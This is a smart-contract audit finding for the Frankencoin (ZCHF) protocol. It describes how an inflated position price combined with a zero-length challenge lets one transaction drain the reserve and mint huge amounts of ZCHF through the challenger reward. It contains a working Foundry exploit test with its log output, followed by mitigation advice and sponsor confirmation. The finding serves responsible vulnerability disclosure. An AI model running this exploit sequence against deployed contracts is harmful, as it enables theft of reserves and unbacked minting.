CHALLENGER_REWARD can be used to drain reserves and free mint
Opened this issue · 4 comments
Lines of code
Vulnerability details
Impact
The goal of the auction mechanism is to determine the fair price of the collateral, so that Frankencoin (ZCHF) is always sufficiently backed and the system remains in balance.
If the challenge is successful, the bidder gets the collateral from the position and the position is closed, distributing excess proceeds to the reserve and paying a reward to the challenger.
The reward for the challenger is based on the user provided price and can be abused to have the protocol pay unlimited rewards.
Proof of Concept
When a challenge ends without being Averted, the end() function can be called to process the liquidation.
This process pays back the minted ZCHF
tokens with the bid and sends the collateral to the bidder. The challenger receives back the collateral he supplied when starting the challenge, and receives a CHALLENGER_REWARD
of 2% of the challenged collateral value in ZCHF
.
To calculate the value of the reward, it uses
uint256 reward = (volume * CHALLENGER_REWARD) / 1000_000; with volume
being the volumeZCHF
value returned from Position.notifyChallengeSucceeded()
This is calculated as
uint256 volumeZCHF = _mulD18(price, _size);
// How much could have minted with the challenged amount of the collateral
meaning that if the price is very high, the theoretical volumeZCHF will be very high too.
When there are insufficient funds in the Position to pay for the reward, FrankenCoin.notifyLoss()
is used to get the funds from the reserve and mint new coins.
The price of a Position can be set when it is created, or later by the owner via an adjustPrice call.
The steps to take:
- Position owner mints the maximum ZCHF.
- Position owner adjusts price and sets it to a very large value.
- owner immediately starts a challenge via MintingHub
with price being very high, if there are bids, they will never pass the AvertChallenge check of_bidAmountZCHF * ONE_DEC18 >= price * _collateralAmount
so the Challenge will always succeed. - After the challenge period, the end() function can be called, and Challenger will receive a high amount of ZCHF as a fee.
An alternative and faster way is to create a new position and immediately challenge it.
When creating a Position, _challengeSeconds
can be set to 0 and calling launchChallenge
is possible before Position start waiting time is over. This makes it possible for any user to drain all reserves and mint a large number of ZCHF in 1 transaction.
POC script
A proof of concept testscript is created to demonstrate the vulnerability.
This code was added to GeneralTest.t.sol
function showBalances() public {
address hacker = 0xBaDbaDBAdBaDBaDbaDbABDbAdBAdBaDbADBadB01;
console.log('================ Balances ================');
console.log('hacker xchf :',xchf.balanceOf(hacker)/1e18);
console.log('hacker zchf :',zchf.balanceOf(hacker)/1e18);
console.log('reserver zchf :',zchf.balanceOf(address(zchf.reserve()))/1e18);
console.log('zchf.totalSupply:',zchf.totalSupply()/1e18);
console.log(' ');
}
function test10AbuseChallengeReward() public {
test04Mint(); // let bob/alice open position so not all is empty
// init, start wit 2 xchf and 1000 zhf
address hacker = 0xBaDbaDBAdBaDBaDbaDbABDbAdBAdBaDbADBadB01;
TestToken xchf_ = TestToken(address(swap.chf()));
xchf_.mint(address(hacker), 1002 ether);
vm.startPrank(hacker);
xchf_.approve(address(swap), 1000 ether);
swap.mint(1000 ether);
showBalances();
// open a position with fake inflated price and dummy collateral.
// _challengeSeconds to 0 so we can immediately challenge and end
xchf_.approve(address(hub), 1 ether); // collateral
zchf.approve(address(hub), 1000 ether); // 1000 OPENING_FEE
address myPosition = hub.openPosition(
address(xchf_), // _collateralAddress,
1 ether, // _minCollateral
1 ether, // _initialCollateral
1000 ether, // _mintingMaximum
3 days, // _initPeriodSeconds minimum perios
10 days, // _expirationSeconds
0, // _challengeSeconds set to 0 to immediately challenge and end
0, //_mintingFeePPM,
type(uint256).max / 1e20, // _liqPrice - huge inflated price
0 // _reservePPM
);
console.log('Creates our Position with inflated price, 1000 opening fee to reserves 1 xchf as collateral');
showBalances();
console.log('Start launchChallenge and immediately end the auction.');
console.log('We will receive the 1 xchf collateral back');
console.log('and 2% of inflated collateral price in zchf as CHALLENGER_REWARD');
console.log('zchf is first taken all from reserve, and rest minted');
xchf_.approve(address(hub), 1 ether); // collateral
uint256 challengeID = hub.launchChallenge(myPosition, 1 ether);
hub.end(challengeID);
showBalances();
vm.stopPrank();
}
The results of the test
[PASS] test10AbuseChallengeReward() (gas: 3939346)
Logs:
================ Balances ================
hacker xchf : 2
hacker zchf : 1000
reserver zchf : 23500
zchf.totalSupply: 102000
We have creates our Position with inflated price
================ Balances ================
hacker xchf : 1
hacker zchf : 0
reserver zchf : 24500
zchf.totalSupply: 102000
Start launchChallenge and immediately end the auction.
We will receive the 1 xchf collateral back
and 2% of inflated collateral price in zchf as CHALLENGER_REWARD
zchf is first taken all from reserve, and rest minted
================ Balances ================
hacker xchf : 2
hacker zchf : 23158417847463239084714197001737581570
reserver zchf : 0
zchf.totalSupply: 23158417847463239084714197001737659070
Tools Used
manual review, forge
Recommended Mitigation Steps
it would be recommeded to restrict the moments when challenges can be started so Positions cannot be challenged before start time and when they are denied.
This will make challenges only possible when a position once was valid, with a valid price.
To prevent owners to change the price of their Position to an extremenly large value, it can be limited to change the price max x% per adjustment.
0xA5DF marked the issue as primary issue
This is probably the most important issue revealed during the audit. The warden deserves a big reward for this!
luziusmeisser marked the issue as sponsor confirmed
hansfriese marked the issue as selected for report